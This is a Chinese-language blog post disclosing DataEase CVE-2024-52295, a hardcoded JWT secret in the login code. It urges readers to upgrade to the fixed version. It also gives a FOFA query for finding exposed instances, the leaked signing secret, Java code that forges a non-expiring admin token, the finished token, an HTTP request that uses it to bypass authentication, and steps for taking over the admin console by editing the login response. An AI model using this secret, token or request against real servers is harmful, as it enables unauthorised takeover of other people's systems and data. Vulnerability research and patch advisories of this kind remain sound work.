DataEase 严重级别任意登录漏洞 POC 已公开

DataEase 严重级别任意登录漏洞 POC 已公开

原创 一个不正经的黑客 一个不正经的黑客 2025-01-05 02:04

DataEase 严重级别任意登录漏洞 POC 已公开

1.DataEase 简介

DataEase 是一个开源的数据可视化分析工具

项目地址:https://github.com/dataease/dataease

目前 Github 平台已经高达 18.7K Star , 互联网也存在诸多应用,请及时自查升级最新版本。

2.漏洞描述

DataEase 是一个开源的数据可视化分析工具。用于帮助用户快速分析数据并洞察业务趋势,从而实现业务的改进与优化。

DataEase <= 2.10.1 之前版本存在安全漏洞,但最新版 2.10.3 已经修复此漏洞,请及时升级。

CVE 编号: CVE-2024-52295

漏洞级别:严重

3.FOFA 查询语句

body=”Dataease”

4.漏洞分析

代码分析:

io.dataease.substitute.permissions.login.SubstituleLoginServer

public class SubstituleLoginServer {    @PostMapping("/login/localLogin")    public TokenVO localLogin(PwdLoginDTO dto) {        TokenUserBO tokenUserBO = new TokenUserBO();        tokenUserBO.setUserId(1L);        tokenUserBO.setDefaultOid(1L);        String md5Pwd = "83d923c9f1d8fcaa46cae0ed2aaa81b5";        return generate(tokenUserBO, md5Pwd);    }    @GetMapping("/logout")    public void logout() {        LogUtil.info("substitule logout");    }    private TokenVO generate(TokenUserBO bo, String secret) {        Algorithm algorithm = Algorithm.HMAC256(secret);        Long userId = bo.getUserId();        Long defaultOid = bo.getDefaultOid();        JWTCreator.Builder builder = JWT.create();        builder.withClaim("uid", userId).withClaim("oid", defaultOid);        String token = builder.sign(algorithm);        returnnew TokenVO(token, 0L);    }}

在这段代码中,JWT 密钥被硬编码在代码中,UID 和 OID 也被硬编码。这意味着攻击者可以伪造 JWT 并接管服务。

漏洞证明概述 (POC):

package io.dataease;import com.auth0.jwt.JWT;import com.auth0.jwt.JWTCreator;import com.auth0.jwt.algorithms.Algorithm;import io.dataease.api.permissions.login.api.LoginApi;import io.dataease.auth.vo.TokenVO;public class jwt {    public static void main(String[] args) {        // 设置密钥        String secret = "83d923c9f1d8fcaa46cae0ed2aaa81b5";        Algorithm algorithm = Algorithm.HMAC256(secret);        // 设置用户ID和默认OID        Long userId = 1L;        Long defaultOid = 1L;        // 创建 JWT 构建器并添加声明        JWTCreator.Builder builder = JWT.create();        // 修改过时时间为无限长        builder.withClaim("uid", 1).withClaim("oid", 1).withClaim("exp", 99999999999L);        // 生成 JWT        String token = builder.sign(algorithm);        // 输出生成的 JWT        System.out.println("X-DE-TOKEN: " + token);    }}

5.漏洞复现

使用上面代码生成的
X-DE-TOKEN

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjo5OTk5OTk5OTk5OX0.okytUClKBAHbww_C3ZZTINTUtbQSSE9ILJwhbIBr_cY

合法token后,可以通过指定:X-De-Token 从而实现在未授权状态下访问所有端点。

GET /de2api/engine/getEngine HTTP/1.1Host: localhostX-De-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjo5OTk5OTk5OTk5OX0.okytUClKBAHbww_C3ZZTINTUtbQSSE9ILJwhbIBr_cYAccept-Encoding: gzip, deflate, brConnection: keep-alive

如果在登录页面,输入错误账号密码,修改响应包的返回为此 Token,可以实现接管后台,任意调用功能,利用各种反序列化和后台功能可以实现 RCE,危害严重,请及时修复!

如:

修改返回值为上面那个不会过时的 Token,之后便可以登录到系统了。

6.文末寄语

JWT 固定密钥漏洞是一个较为常见的问题,流行发生在 Golang 和 java 的项目中,大家在进行漏洞挖掘的时候可以额外注意!

此外,本次漏洞点发生在登录功能很明显的特征点上,只要细心一点,我相信一个过万 Star 项目的 0day 离你不远!

关注+一个不正经的黑客公众号,洞察业界动态,揽安全美人入怀,杯酒觥筹间,让知识掉入大脑陷阱,把0day 装进你的口袋,也许距离走上人生巅峰,你也就差的只是一个小关小注,交个朋友,干杯!